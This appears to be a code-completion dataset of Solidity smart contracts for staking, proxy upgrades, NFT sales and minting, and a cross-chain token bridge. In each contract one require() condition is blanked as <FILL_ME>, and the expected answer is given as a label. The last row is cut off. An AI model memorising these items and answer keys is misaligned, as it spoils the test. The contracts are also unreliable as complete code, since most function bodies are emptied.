comment
stringlengths 1
211
โ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Not staked" | pragma solidity ^0.8.0;
contract GirlesNFTStaking is Ownable, ReentrancyGuard {
using Strings for uint256;
using EnumerableSet for EnumerableSet.UintSet;
IERC20 public rewardToken;
uint public rewardTokenSupply;
struct PoolInfo {
ERC721 nftContract;
bool isActive;
uint256 allocPoint;
uint256 claimedRewards;
uint256 remainedRewards;
uint256 emissionRate;
uint256 totalStakedNFT;
}
PoolInfo[] public poolInfo;
// Info of each user.
struct UserInfo {
uint256 amount; // How many NFT tokens the user has staked.
uint256 nextHarvestUntil; // When can the user harvest again.
uint256 totalEarnedRewards;
}
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
struct Stake {
uint8 poolId;
address beneficiary;
uint256 lastClaimedBlockTime;
ERC721 nftContract;
uint256 tokenId;
uint256 claimedTokens;
bool isActive;
}
// pool id => tokenId => stake
mapping(uint8 => mapping(uint256 => Stake)) public Stakes;
// mapping of active staking count by wallet.
mapping(uint8 => mapping(address => uint256)) public ActiveStakes;
mapping(uint8 => mapping(address => EnumerableSet.UintSet)) private CurrentStakedTokens;
uint256 public constant MAX_HARVEST_INTERVAL = 1 minutes; //1 days;
event RewardTokenAdded(address indexed _from, uint256 _amount);
event RewardTokenRemoved(address indexed _to, uint256 _amount);
event Staked(uint8 pid, uint256[] tokenIds);
event UnStaked(uint8 pid, uint256[] tokenIds);
event Claimed(uint8 pid, uint256[] tokenIds, uint256 amount);
constructor(address _rewardToken) {
}
function add(ERC721 _nftContract, uint256 _allocPoint, uint256 _emissionRate)
external onlyOwner {
}
function set(uint8 _pid, uint256 _allocPoint, uint256 _emissionRate) external onlyOwner {
}
function setEnableStaking(uint8 _pid, bool _bEnable) external onlyOwner {
}
function addReward(uint256 _amount) external onlyOwner {
}
function removeStakedTokenReward(uint256 _amount) external onlyOwner {
}
function setEmissionRate(uint8 _pid, uint256 _rate) external onlyOwner {
}
function stake(uint8 _pid, uint256[] memory _tokenIds) external nonReentrant {
}
function unStake(uint8 _pid, uint256[] memory _tokenIds) external nonReentrant {
}
// rescue your tokens, for emergency purposes. don't care about rewards, reset reward timer.
function emergencyWithdraw(uint8 _pid, uint256[] memory _tokenIds) public nonReentrant{
}
// rescue your tokens, for emergency purposes. don't care about rewards, reset reward timer.
function emergencyWithdrawAll(uint8 _pid) external {
}
// View function to see if user can harvest STAR.
function canHarvest(uint8 _pid, address _user) public view returns (bool) {
}
function claimReward(uint8 _pid, uint256[] memory _tokenIds) private {
}
function claimAll(uint8 _pid) public nonReentrant{
}
function getAllRewards(uint8 _pid, address _owner) public view returns (uint256) {
}
function getRewardsByTokenId(uint8 _pid, uint256 _tokenId)
public view returns (uint256) {
require(<FILL_ME>)
uint256 rewards = (block.timestamp - Stakes[_pid][_tokenId].lastClaimedBlockTime) * poolInfo[_pid].emissionRate;
return rewards;
}
function activeTokenIdsOf(uint8 _pid, address _owner)
public view returns (uint256[] memory, string[] memory){
}
function getStakes(uint8 _pid, uint256[] memory _tokenIds)
external view returns (Stake[] memory) {
}
function stakedTokenIdByIndex(uint8 _pid, address _owner, uint256 _idx)
public view virtual returns (uint256) {
}
}
| Stakes[_pid][_tokenId].isActive,"Not staked" | 411,491 | Stakes[_pid][_tokenId].isActive |
"withdraw after 5 days" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract ReveStaking is Ownable {
struct Share {
uint depositTime;
uint initialDeposit;
uint sumETH;
}
mapping(address => Share) public shares;
IERC20 public token;
uint public sumETH;
uint private constant PRECISION = 1e18;
address private _taxWallet;
uint public totalETH;
modifier onlyToken() {
}
constructor() {
}
function setToken(IERC20 token_) external onlyOwner {
}
function deposit(address who, uint amount) external onlyToken {
}
function withdraw() external {
Share memory share = shares[msg.sender];
require(share.initialDeposit > 0, "No initial deposit");
require(<FILL_ME>)
token.transfer(msg.sender, share.initialDeposit);
_payoutGainsUpdateShare(msg.sender, share, 0, true);
}
function claim() external {
}
function _payoutGainsUpdateShare(address who, Share memory share, uint newAmount, bool resetTimer) private {
}
function pending(address who) external view returns (uint) {
}
receive() external payable {
}
}
| share.depositTime+5days<block.timestamp,"withdraw after 5 days" | 411,500 | share.depositTime+5days<block.timestamp |
"Proxy: Wrong implementation" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "../interfaces/IControllable.sol";
import "../interfaces/IProxyControlled.sol";
import "./UpgradeableProxy.sol";
/// @title EIP1967 Upgradable proxy implementation.
/// @dev Only Controller has access and should implement time-lock for upgrade action.
/// @author belbix
contract ProxyControlled is UpgradeableProxy, IProxyControlled {
/// @notice Version of the contract
/// @dev Should be incremented when contract changed
string public constant PROXY_CONTROLLED_VERSION = "1.0.0";
/// @dev Initialize proxy implementation. Need to call after deploy new proxy.
function initProxy(address _logic) external override {
//make sure that given logic is controllable and not inited
require(<FILL_ME>)
_init(_logic);
}
/// @notice Upgrade contract logic
/// @dev Upgrade allowed only for Controller and should be done only after time-lock period
/// @param _newImplementation Implementation address
function upgrade(address _newImplementation) external override {
}
/// @notice Return current logic implementation
function implementation() external override view returns (address) {
}
}
| IControllable(_logic).created()==0,"Proxy: Wrong implementation" | 411,526 | IControllable(_logic).created()==0 |
"Proxy: Forbidden" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "../interfaces/IControllable.sol";
import "../interfaces/IProxyControlled.sol";
import "./UpgradeableProxy.sol";
/// @title EIP1967 Upgradable proxy implementation.
/// @dev Only Controller has access and should implement time-lock for upgrade action.
/// @author belbix
contract ProxyControlled is UpgradeableProxy, IProxyControlled {
/// @notice Version of the contract
/// @dev Should be incremented when contract changed
string public constant PROXY_CONTROLLED_VERSION = "1.0.0";
/// @dev Initialize proxy implementation. Need to call after deploy new proxy.
function initProxy(address _logic) external override {
}
/// @notice Upgrade contract logic
/// @dev Upgrade allowed only for Controller and should be done only after time-lock period
/// @param _newImplementation Implementation address
function upgrade(address _newImplementation) external override {
require(<FILL_ME>)
IControllable(address(this)).increaseRevision(_implementation());
_upgradeTo(_newImplementation);
// the new contract must have the same ABI and you must have the power to change it again
require(IControllable(address(this)).isController(msg.sender), "Proxy: Wrong implementation");
}
/// @notice Return current logic implementation
function implementation() external override view returns (address) {
}
}
| IControllable(address(this)).isController(msg.sender),"Proxy: Forbidden" | 411,526 | IControllable(address(this)).isController(msg.sender) |
"Only operator allowed." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
abstract contract OGBlockBasedSale is Ownable {
using SafeMath for uint256;
event AssignGovernorAddress(address indexed _address);
event AssignOperatorAddress(address indexed _address);
event AssignDiscountBlockSize(uint256 size);
event AssignPriceDecayParameter(
uint256 _lowerBoundPrice,
uint256 _priceFactor
);
event AssignPrivateSapeCap(uint256 cap);
event AssignPrivateSalePrice(uint256 price);
event AssignPublicSaleConfig(uint256 beginBlock, uint256 endBlock);
event AssignPublicSalePrice(uint256 price);
event AssignReserveLimit(uint256 limit);
event AssignSubsequentSaleNextBlock(uint256 _block);
event AssignSubsequentSaleNextBlockByOperator(uint256 _block);
event AssignTransactionLimit(uint256 publicSaleLimit);
event ResetOverridedSaleState();
event DisableDutchAuction();
event EnableDucthAuction();
event EnablePublicSale();
event ForceCloseSale();
event ForcePauseSale();
enum SaleState {
NotStarted,
PrivateSaleBeforeWithoutBlock,
PrivateSaleBeforeWithBlock,
PrivateSaleDuring,
PrivateSaleEnd,
PrivateSaleEndSoldOut,
PublicSaleBeforeWithoutBlock,
PublicSaleBeforeWithBlock,
PublicSaleDuring,
PublicSaleEnd,
PublicSaleEndSoldOut,
PauseSale,
AllSalesEnd
}
enum OverrideSaleState {
None,
Pause,
Close
}
enum SalePhase {
None,
Private,
Public
}
OverrideSaleState public overridedSaleState = OverrideSaleState.None;
SalePhase public salePhase = SalePhase.None;
bool private operatorAssigned;
bool private governorAssigned;
address private operatorAddress;
address private governorAddress;
uint256 public maxPublicSalePerTx = 1;
uint256 public totalPublicMinted = 0;
uint256 public totalReserveMinted = 0;
uint256 public maxSupply = 1000;
uint256 public maxReserve = 180; //Subject to change per production config
uint256 public discountBlockSize = 180;
uint256 public lowerBoundPrice = 0;
uint256 public publicSalePrice;
uint256 public priceFactor = 1337500000000000;
uint256 public nextSubsequentSale = 0;
uint256 public subsequentSaleBlockSize = 1661; //Subject to change per production config
uint256 public publicSaleCap = 100;
bool public dutchEnabled = false;
struct SaleConfig {
uint256 beginBlock;
uint256 endBlock;
}
SaleConfig public publicSale;
modifier operatorOnly() {
require(<FILL_ME>)
_;
}
modifier governorOnly() {
}
function setOperatorAddress(address _operator) external onlyOwner {
}
function setGovernorAddress(address _governor) external onlyOwner {
}
function setDiscountBlockSize(uint256 size) external operatorOnly {
}
function setPriceDecayParams(uint256 _lowerBoundPrice, uint256 _priceFactor)
external
operatorOnly
{
}
function setTransactionLimit(uint256 publicSaleLimit)
external
operatorOnly
{
}
function setPublicSaleConfig(SaleConfig memory _publicSale)
external
operatorOnly
{
}
function setPublicSalePrice(uint256 _price) external operatorOnly {
}
function setCloseSale() external operatorOnly {
}
function setPauseSale() external operatorOnly {
}
function resetOverridedSaleState() external operatorOnly {
}
function setReserve(uint256 reserve) external operatorOnly {
}
function isPublicSaleSoldOut() external view returns (bool) {
}
function enablePublicSale() external operatorOnly {
}
function setSubsequentSaleBlock(uint256 b) external operatorOnly {
}
function supplyWithoutReserve() internal view returns (uint256) {
}
function getState() public view virtual returns (SaleState) {
}
function setPublicSaleCap(uint256 cap) external operatorOnly {
}
function isSubsequenceSale() public view returns (bool) {
}
function getStartSaleBlock() external view returns (uint256) {
}
function getEndSaleBlock() external view returns (uint256) {
}
function getMaxSupplyByMode() public view returns (uint256) {
}
function getMintedByMode() external view returns (uint256) {
}
function getTransactionCappedByMode() external pure returns (uint256) {
}
function enableDutchAuction() external operatorOnly {
}
function disableDutchAuction() external operatorOnly {
}
function getPriceByMode() public view returns (uint256) {
}
function availableReserve() public view returns (uint256) {
}
}
| operatorAssigned&&msg.sender==operatorAddress,"Only operator allowed." | 411,565 | operatorAssigned&&msg.sender==operatorAddress |
"Only governor allowed." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
abstract contract OGBlockBasedSale is Ownable {
using SafeMath for uint256;
event AssignGovernorAddress(address indexed _address);
event AssignOperatorAddress(address indexed _address);
event AssignDiscountBlockSize(uint256 size);
event AssignPriceDecayParameter(
uint256 _lowerBoundPrice,
uint256 _priceFactor
);
event AssignPrivateSapeCap(uint256 cap);
event AssignPrivateSalePrice(uint256 price);
event AssignPublicSaleConfig(uint256 beginBlock, uint256 endBlock);
event AssignPublicSalePrice(uint256 price);
event AssignReserveLimit(uint256 limit);
event AssignSubsequentSaleNextBlock(uint256 _block);
event AssignSubsequentSaleNextBlockByOperator(uint256 _block);
event AssignTransactionLimit(uint256 publicSaleLimit);
event ResetOverridedSaleState();
event DisableDutchAuction();
event EnableDucthAuction();
event EnablePublicSale();
event ForceCloseSale();
event ForcePauseSale();
enum SaleState {
NotStarted,
PrivateSaleBeforeWithoutBlock,
PrivateSaleBeforeWithBlock,
PrivateSaleDuring,
PrivateSaleEnd,
PrivateSaleEndSoldOut,
PublicSaleBeforeWithoutBlock,
PublicSaleBeforeWithBlock,
PublicSaleDuring,
PublicSaleEnd,
PublicSaleEndSoldOut,
PauseSale,
AllSalesEnd
}
enum OverrideSaleState {
None,
Pause,
Close
}
enum SalePhase {
None,
Private,
Public
}
OverrideSaleState public overridedSaleState = OverrideSaleState.None;
SalePhase public salePhase = SalePhase.None;
bool private operatorAssigned;
bool private governorAssigned;
address private operatorAddress;
address private governorAddress;
uint256 public maxPublicSalePerTx = 1;
uint256 public totalPublicMinted = 0;
uint256 public totalReserveMinted = 0;
uint256 public maxSupply = 1000;
uint256 public maxReserve = 180; //Subject to change per production config
uint256 public discountBlockSize = 180;
uint256 public lowerBoundPrice = 0;
uint256 public publicSalePrice;
uint256 public priceFactor = 1337500000000000;
uint256 public nextSubsequentSale = 0;
uint256 public subsequentSaleBlockSize = 1661; //Subject to change per production config
uint256 public publicSaleCap = 100;
bool public dutchEnabled = false;
struct SaleConfig {
uint256 beginBlock;
uint256 endBlock;
}
SaleConfig public publicSale;
modifier operatorOnly() {
}
modifier governorOnly() {
require(<FILL_ME>)
_;
}
function setOperatorAddress(address _operator) external onlyOwner {
}
function setGovernorAddress(address _governor) external onlyOwner {
}
function setDiscountBlockSize(uint256 size) external operatorOnly {
}
function setPriceDecayParams(uint256 _lowerBoundPrice, uint256 _priceFactor)
external
operatorOnly
{
}
function setTransactionLimit(uint256 publicSaleLimit)
external
operatorOnly
{
}
function setPublicSaleConfig(SaleConfig memory _publicSale)
external
operatorOnly
{
}
function setPublicSalePrice(uint256 _price) external operatorOnly {
}
function setCloseSale() external operatorOnly {
}
function setPauseSale() external operatorOnly {
}
function resetOverridedSaleState() external operatorOnly {
}
function setReserve(uint256 reserve) external operatorOnly {
}
function isPublicSaleSoldOut() external view returns (bool) {
}
function enablePublicSale() external operatorOnly {
}
function setSubsequentSaleBlock(uint256 b) external operatorOnly {
}
function supplyWithoutReserve() internal view returns (uint256) {
}
function getState() public view virtual returns (SaleState) {
}
function setPublicSaleCap(uint256 cap) external operatorOnly {
}
function isSubsequenceSale() public view returns (bool) {
}
function getStartSaleBlock() external view returns (uint256) {
}
function getEndSaleBlock() external view returns (uint256) {
}
function getMaxSupplyByMode() public view returns (uint256) {
}
function getMintedByMode() external view returns (uint256) {
}
function getTransactionCappedByMode() external pure returns (uint256) {
}
function enableDutchAuction() external operatorOnly {
}
function disableDutchAuction() external operatorOnly {
}
function getPriceByMode() public view returns (uint256) {
}
function availableReserve() public view returns (uint256) {
}
}
| governorAssigned&&msg.sender==governorAddress,"Only governor allowed." | 411,565 | governorAssigned&&msg.sender==governorAddress |
"Not enough ETH sent; Price is 0.16 eth per NFT, Maximum 100 per request" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MonolithYachtClub is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
uint256 private mintPrice = 160000000000000000 wei;
uint256 private publicCounter = 10000;
uint256 private privateCounter;
string private URL;
bool private frozen;
bool private mintOpen;
bool private privateClosed;
constructor() ERC721("Monolith Yacht Club", "YAHT") {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function publicMint(uint256 nTokens) external payable{
if (mintOpen == false){
revert('Public Mint not open');
}
require(msg.value <= msg.sender.balance, "Not enough ETH in wallet");
require(<FILL_ME>)
uint256 localCounter = publicCounter;
if (nTokens > 100){
revert('Maximum 100 per request');
}
if (localCounter + nTokens > 60000) {
revert('Supply Not Available, Try Less');
}
for (uint256 i = 1; i <= nTokens; i++) {
_mint(msg.sender, ++localCounter);
string memory uri = _createTokenURI(localCounter);
_setTokenURI(localCounter, uri);
}
publicCounter = localCounter;
}
function privateMint(uint256 nTokens, address wallet, uint256 whichCounter) external onlyOwner{
}
function _burn(uint256 tokenId) internal onlyOwner override (ERC721, ERC721URIStorage) {
}
function mintInfo() public pure returns (string memory){
}
function price() public view returns (uint256) {
}
function maxSupply() public pure returns (uint256) {
}
function freezeMetadata() external onlyOwner {
}
function openPublicMint() external onlyOwner {
}
function closePublicMint() external onlyOwner {
}
function closePrivateMint() external onlyOwner {
}
function setURI(string memory newURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
}
function _createTokenURI(uint256 id) private view returns (string memory) {
}
//enter uri as above ex. "https://.../CID_HERE/" "ipfs://.../CID_HERE/" "/" at the end is important
function setTokenURI(uint256 startId, uint256 endId, string memory Newuri) external onlyOwner {
}
function getBalance() public view onlyOwner returns(uint256) {
}
function withdraw(address payable _to) external onlyOwner{
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| mintPrice*nTokens<=msg.value,"Not enough ETH sent; Price is 0.16 eth per NFT, Maximum 100 per request" | 411,591 | mintPrice*nTokens<=msg.value |
"Requested number of tokens is over limit for minting" | // contracts/ERC721/new_contract_example/RamperToken721.sol
// SPDX-License-Identifier: MIT
// This is an example showing a contract that is compatible with Ramper's NFT Checkout
// Find out more at https://www.ramper.xyz/nftcheckout
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "./IRamperInterface721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract GakoppaNFTCollection is ERC721Enumerable, Ownable, IRamperInterface721 {
uint256 constant public MAX_TOKENS = 101;
uint256 constant public MAX_TOKENS_PER_TXN = 10;
uint256 constant public MAX_TOKENS_PER_ADDRESS = 100;
uint256 constant public TOKEN_PRICE = 0.019 ether;
string public baseTokenURI = "ipfs://bafybeibkk2mdaow52t3eondcsr4xtcg4ppowssbrn5lpuhhe4adctxrtme/";
constructor() ERC721("GakoppaNFTCollection", "GKONFT") {
}
function availableTokens(address _userWallet) override external view returns (uint256 quantity) {
}
function price() override external pure returns (uint256) {
}
function mint(address _userWallet, uint256 _quantity) override external payable {
require(msg.value >= TOKEN_PRICE * _quantity, "Insufficient funds for requested tokens");
require(<FILL_ME>)
uint256 tokenStart = totalSupply();
for(uint256 i=0; i < _quantity; i++) {
uint256 _tokenId = tokenStart + i;
_safeMint(_userWallet, _tokenId);
}
}
// ERC721Metadata
function _baseURI() override internal view virtual returns (string memory) {
}
function safeBulkTransferFrom(address _from, address _to, uint256[] memory _tokenIds) override external {
}
function withdraw() public payable onlyOwner {
}
}
| this.availableTokens(_userWallet)>=_quantity,"Requested number of tokens is over limit for minting" | 411,634 | this.availableTokens(_userWallet)>=_quantity |
"Caller is not in owner role" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
